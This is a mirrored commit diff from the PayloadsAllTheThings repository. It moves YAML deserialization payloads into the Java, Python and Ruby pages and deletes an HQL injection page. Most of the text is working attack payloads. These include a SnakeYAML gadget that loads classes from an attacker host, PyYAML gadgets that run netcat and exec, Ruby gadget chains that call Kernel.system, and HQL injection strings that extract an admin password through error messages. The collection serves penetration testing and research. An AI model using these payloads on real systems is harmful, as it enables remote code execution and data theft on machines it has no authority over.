mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-04 18:40:41 +00:00
YAML Deserialization
This commit is contained in:
parent
b98f8ca587
commit
9932059563
6 changed files with 94 additions and 276 deletions
|
@ -10,6 +10,7 @@
|
|||
* [Ysoserial](#ysoserial)
|
||||
* [Burp extensions using ysoserial](#burp-extensionsl)
|
||||
* [Alternative Tooling](#alternative-tooling)
|
||||
* [YAML Deserialization](#yaml-deserialization)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
|
@ -100,7 +101,7 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
|
|||
python yss_url.py yss_new.bin
|
||||
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
|
||||
```
|
||||
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
|
||||
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
|
||||
```java
|
||||
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
|
||||
|
@ -131,6 +132,21 @@ Payload generators for the following marshallers are included:
|
|||
| YAMLBeans | third party RCE |
|
||||
|
||||
|
||||
|
||||
## YAML Deserialization
|
||||
|
||||
SnakeYAML
|
||||
|
||||
```yaml
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://attacker-ip/"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
|
|
|
@ -6,9 +6,15 @@
|
|||
|
||||
* [Detection](#detection)
|
||||
* [Pickle](#pickle)
|
||||
* [PyYAML](#pyyaml)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
|
||||
|
||||
|
||||
## Detection
|
||||
|
||||
In Python source code, look for these sinks:
|
||||
|
@ -65,6 +71,47 @@ print("Your Evil Token : {}").format(evil_token)
|
|||
```
|
||||
|
||||
|
||||
## PyYAML
|
||||
|
||||
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
|
||||
|
||||
```yaml
|
||||
!!python/object/apply:time.sleep [10]
|
||||
!!python/object/apply:builtins.range [1, 10, 1]
|
||||
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
|
||||
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
|
||||
!!python/object/new:subprocess [["ls","-ail"]]
|
||||
!!python/object/new:subprocess.check_output [["ls","-ail"]]
|
||||
```
|
||||
|
||||
```yaml
|
||||
!!python/object/apply:subprocess.Popen
|
||||
- ls
|
||||
```
|
||||
|
||||
```yaml
|
||||
!!python/object/new:str
|
||||
state: !!python/tuple
|
||||
- 'print(getattr(open("flag\x2etxt"), "read")())'
|
||||
- !!python/object/new:Warning
|
||||
state:
|
||||
update: !!python/name:exec
|
||||
```
|
||||
|
||||
Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
|
||||
|
||||
The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
|
||||
|
||||
```py
|
||||
with open('exploit_unsafeloader.yml') as file:
|
||||
data = yaml.load(file,Loader=yaml.UnsafeLoader)
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
||||
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
|
||||
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
||||
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
|
||||
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
|
||||
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
|
@ -5,12 +5,12 @@
|
|||
|
||||
## Summary
|
||||
|
||||
* [Marshal.load](#marshalload)
|
||||
* [Yaml.load](#yamlload)
|
||||
* [Marshal Deserialization](#marshal-deserialization)
|
||||
* [YAML Deserialization](#yaml-deserialization)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Marshal.load
|
||||
## Marshal Deserialization
|
||||
|
||||
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
||||
|
||||
|
@ -18,7 +18,8 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
|
|||
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
||||
```
|
||||
|
||||
## Yaml.load
|
||||
|
||||
## YAML Deserialization
|
||||
|
||||
Vulnerable code
|
||||
|
||||
|
@ -29,7 +30,7 @@ YAML.load(File.read("p.yml"))
|
|||
|
||||
Universal gadget for ruby <= 2.7.2:
|
||||
|
||||
```ruby
|
||||
```yaml
|
||||
--- !ruby/object:Gem::Requirement
|
||||
requirements:
|
||||
!ruby/object:Gem::DependencyList
|
||||
|
@ -43,7 +44,7 @@ requirements:
|
|||
|
||||
Universal gadget for ruby 2.x - 3.x.
|
||||
|
||||
```ruby
|
||||
```yaml
|
||||
---
|
||||
- !ruby/object:Gem::Installer
|
||||
i: x
|
||||
|
@ -65,6 +66,28 @@ Universal gadget for ruby 2.x - 3.x.
|
|||
method_id: :resolve
|
||||
```
|
||||
|
||||
```yaml
|
||||
---
|
||||
- !ruby/object:Gem::Installer
|
||||
i: x
|
||||
- !ruby/object:Gem::SpecFetcher
|
||||
i: y
|
||||
- !ruby/object:Gem::Requirement
|
||||
requirements:
|
||||
!ruby/object:Gem::Package::TarReader
|
||||
io: &1 !ruby/object:Net::BufferedIO
|
||||
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
||||
read: 0
|
||||
header: "abc"
|
||||
debug_output: &1 !ruby/object:Net::WriteAdapter
|
||||
socket: &1 !ruby/object:Gem::RequestSet
|
||||
sets: !ruby/object:Net::WriteAdapter
|
||||
socket: !ruby/module 'Kernel'
|
||||
method_id: :system
|
||||
git_set: sleep 600
|
||||
method_id: :resolve
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
@ -1,104 +0,0 @@
|
|||
# YAML Deserialization
|
||||
|
||||
> YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [PyYAML](#pyyaml)
|
||||
* [ruamel.yaml](#ruamelyaml)
|
||||
* [Ruby](#ruby)
|
||||
* [SnakeYAML](#snakeyaml)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
|
||||
* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
|
||||
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
|
||||
|
||||
|
||||
## Methodology
|
||||
|
||||
### PyYAML
|
||||
|
||||
```yaml
|
||||
!!python/object/apply:time.sleep [10]
|
||||
!!python/object/apply:builtins.range [1, 10, 1]
|
||||
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
|
||||
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
|
||||
!!python/object/new:subprocess [["ls","-ail"]]
|
||||
!!python/object/new:subprocess.check_output [["ls","-ail"]]
|
||||
```
|
||||
|
||||
```yaml
|
||||
!!python/object/apply:subprocess.Popen
|
||||
- ls
|
||||
```
|
||||
|
||||
```yaml
|
||||
!!python/object/new:str
|
||||
state: !!python/tuple
|
||||
- 'print(getattr(open("flag\x2etxt"), "read")())'
|
||||
- !!python/object/new:Warning
|
||||
state:
|
||||
update: !!python/name:exec
|
||||
```
|
||||
|
||||
Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
|
||||
[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
|
||||
|
||||
The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
|
||||
|
||||
```
|
||||
with open('exploit_unsafeloader.yml') as file:
|
||||
data = yaml.load(file,Loader=yaml.UnsafeLoader)
|
||||
```
|
||||
|
||||
## Ruamel.yaml
|
||||
|
||||
## Ruby
|
||||
|
||||
```ruby
|
||||
---
|
||||
- !ruby/object:Gem::Installer
|
||||
i: x
|
||||
- !ruby/object:Gem::SpecFetcher
|
||||
i: y
|
||||
- !ruby/object:Gem::Requirement
|
||||
requirements:
|
||||
!ruby/object:Gem::Package::TarReader
|
||||
io: &1 !ruby/object:Net::BufferedIO
|
||||
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
||||
read: 0
|
||||
header: "abc"
|
||||
debug_output: &1 !ruby/object:Net::WriteAdapter
|
||||
socket: &1 !ruby/object:Gem::RequestSet
|
||||
sets: !ruby/object:Net::WriteAdapter
|
||||
socket: !ruby/module 'Kernel'
|
||||
method_id: :system
|
||||
git_set: sleep 600
|
||||
method_id: :resolve
|
||||
```
|
||||
|
||||
## SnakeYAML
|
||||
|
||||
```yaml
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://attacker-ip/"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
|
||||
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
|
||||
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
|
||||
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
|
|
@ -1,163 +0,0 @@
|
|||
# Hibernate Query Language Injection
|
||||
|
||||
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
* [HQL Comments](#hql-comments)
|
||||
* [HQL List Columns](#hql-list-columns)
|
||||
* [HQL Error Based](#hql-error-based)
|
||||
* [Single Quote Escaping](#single-quote-escaping)
|
||||
* [$-quoted strings](#--quoted-strings)
|
||||
* [DBMS Magic functions](#dbms-magic-functions)
|
||||
* [Unicode](#unicode)
|
||||
* [Java constants](#java-constants)
|
||||
* [Methods by DBMS](#methods-by-dbms)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## HQL Comments
|
||||
|
||||
HQL does not support comments.
|
||||
|
||||
|
||||
## HQL List Columns
|
||||
|
||||
```sql
|
||||
from BlogPosts
|
||||
where title like '%'
|
||||
and DOESNT_EXIST=1 and ''='%' --
|
||||
and published = true
|
||||
```
|
||||
|
||||
Using an unexisting column will an exception leaking several columns names.
|
||||
|
||||
```sql
|
||||
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
|
||||
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
|
||||
```
|
||||
|
||||
## HQL Error Based
|
||||
|
||||
```sql
|
||||
from BlogPosts
|
||||
where title like '%11'
|
||||
and (select password from User where username='admin')=1
|
||||
or ''='%'
|
||||
and published = true
|
||||
```
|
||||
|
||||
Error based on value casting.
|
||||
|
||||
```sql
|
||||
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
|
||||
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
|
||||
```
|
||||
|
||||
:warning: **HQL does not support UNION queries**
|
||||
|
||||
|
||||
## Single Quote Escaping
|
||||
|
||||
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
|
||||
|
||||
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
|
||||
|
||||
```sql
|
||||
'abc\''or 1=(select 1)--'
|
||||
```
|
||||
|
||||
In HQL it is a string, in MySQL it is a string and additional SQL expression.
|
||||
|
||||
|
||||
## $-quoted strings
|
||||
|
||||
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
|
||||
|
||||
Hibernate ORM allows identifiers starting with `$$`.
|
||||
|
||||
```sql
|
||||
$$='$$=concat(chr(61),chr(39)) and 1=1--'
|
||||
```
|
||||
|
||||
|
||||
## DBMS Magic functions
|
||||
|
||||
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
|
||||
|
||||
Hibernate allows to specify any function name in HQL expression.
|
||||
|
||||
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
|
||||
|
||||
```sql
|
||||
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
|
||||
```
|
||||
|
||||
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
|
||||
|
||||
```sql
|
||||
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
|
||||
```
|
||||
|
||||
## Unicode
|
||||
|
||||
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
|
||||
|
||||
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
|
||||
|
||||
HQL allows UNICODE symbols in identifiers (function or parameter names).
|
||||
|
||||
```sql
|
||||
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
|
||||
```
|
||||
|
||||
## Java constants
|
||||
|
||||
Method works for most DBMS (does not work for MySQL).
|
||||
|
||||
Hibernate resolves Java public static fields (Java constants) in HQL queries:
|
||||
|
||||
- Class with Java constant must be in classpath
|
||||
- Ex. `java.lang.Character.SIZE` is resolved to 16
|
||||
- String or char constants are additionally surrounded by single quotes
|
||||
|
||||
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
|
||||
|
||||
```java
|
||||
public class Constants {
|
||||
public static final String S_QUOTE = "'";
|
||||
public static final String HQL_PART = "select * from Post where name = '";
|
||||
public static final char C_QUOTE_1 = '\'';
|
||||
public static final char C_QUOTE_2 = '\047';
|
||||
public static final char C_QUOTE_3 = 39;
|
||||
public static final char C_QUOTE_4 = 0x27;
|
||||
public static final char C_QUOTE_5 = 047;
|
||||
}
|
||||
```
|
||||
|
||||
Some usable constants in well-known Java libraries:
|
||||
|
||||
```ps1
|
||||
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
|
||||
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
|
||||
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
|
||||
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
|
||||
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
|
||||
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
|
||||
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
|
||||
```
|
||||
|
||||
```sql
|
||||
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [HQL for pentesters - Philippe Arteau - February 12, 2014](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
|
||||
- [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt - July 7, 2010](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
|
||||
- [HQL: Hyperinsane Query Language - Renaud Dubourguais - June 4, 2015](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
|
||||
- [ORM2Pwn: Exploiting injections in Hibernate ORM - Mikhail Egorov - November 26, 2015](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
|
||||
- [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov - October 16, 2016](https://web.archive.org/web/20161016220026/https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
|
||||
- [HQL Injection Exploitation in MySQL - Olga Barinova - July 18, 2019](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)
|
|
@ -12,7 +12,6 @@
|
|||
* [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
* [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
|
||||
* [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
|
||||
* [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)
|
||||
* [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
|
||||
* [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md)
|
||||
* [Tools](#tools)
|
||||
|
|
Loading…
Reference in a new issue